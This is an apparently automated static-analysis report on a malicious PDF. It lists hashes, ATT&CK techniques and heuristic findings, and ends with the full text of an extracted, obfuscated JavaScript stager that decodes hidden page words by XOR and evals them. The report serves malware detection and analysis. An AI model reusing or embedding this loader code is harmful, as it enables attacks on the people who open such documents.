Malicious PDF — malware analysis report

Static analysis result for SHA-256 81e7fe5273d9fa49…

MALICIOUS

PDF

4.6 KB Created: 2010-04-30 20:47:26 Authoring application: Fodebarexa First seen: 2026-05-10
MD5: 122383eecdd5bf8fb0d432454cd17bdc SHA-1: 00b6ea5b5c05247bbdab4441dc99b444150bc35e SHA-256: 81e7fe5273d9fa49fa05fa4ac55cdb7d36ee74c302de6b3d821d40f89b55b2ac
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The PDF file contains embedded JavaScript that is obfuscated using XOR operations and string concatenation. The script appears to decode a string, likely a URL or command, and then execute it. This is supported by high-severity heuristics indicating a JavaScript eval stager and ML classification. The primary techniques observed are JavaScript execution and exploitation for client execution, likely delivered via spearphishing.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Page-word XOR JavaScript eval stager high PDF_PAGE_WORD_XOR_EVAL_STAGER
    PDF JavaScript enumerates rendered page words with getPageNthWord/getPageNumWords, extracts encoded byte fragments, XOR-decodes the stage with char-code helpers, and evals the result. This is an old exploit-kit staging pattern and is not normal document JavaScript.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0010_000.js pdf-javascript-stream PDF /JS object 10 at offset 0xCAB 874 bytes
SHA-256: 7ad1ee8cba7784f1a95b635244a4165fad123a151fe73c8fc9a0d61755caba74
Preview script
First 1,000 lines of the extracted script
var d=String;function r(j,h){return j^h;};var rC="getPa"+"geNumKxwy".substr(0,5)+"RXlWords".substr(3);var cF="from"+"Char"+"CodewR2G".substr(0,4);;var hS=this;var uH=1;var x=new String();var l=String("char"+"CodeMPrL".substr(0,4)+"pmEAtmEp".substr(3,2));var lE=110;var eZ=new String("subs"+"tro5c8".substr(0,2));var z=String("getPJF0o".substr(0,4)+"ageN"+"kNOthWokON".substr(3,4)+"ER7rd7ER".substr(3,2));var v="unesxbWN".substr(0,4)+"cape";var p=["p","a","","p"];b=new String(p[1]+p[0]+p[0]+p[2]);var vQ=["l","v","a","e",""];kX=new String(vQ[3]+vQ[1]+vQ[2]+vQ[0]+vQ[4]);;var jW=65-64;var qV=new String("%oMLO".substr(0,1));var pK=53-51;var mB=3091-3091;;var hU=hS[rC](uH);var gJ=hS[kX];var b=hS[b];var zY=hS[v];for(var uHC=mB;uHC<hU;uHC+=jW){qVC=hS[z](uH,uHC);var iV=qVC[eZ](qVC.length-pK,pK);var hI=qV+iV;var mF=zY(hI);var rE=mF[l](mB);var cD=r(rE,lE);x+=d[cF](cD);}gJ(x);

Open this report in the interactive analyzer, or submit your own file for analysis.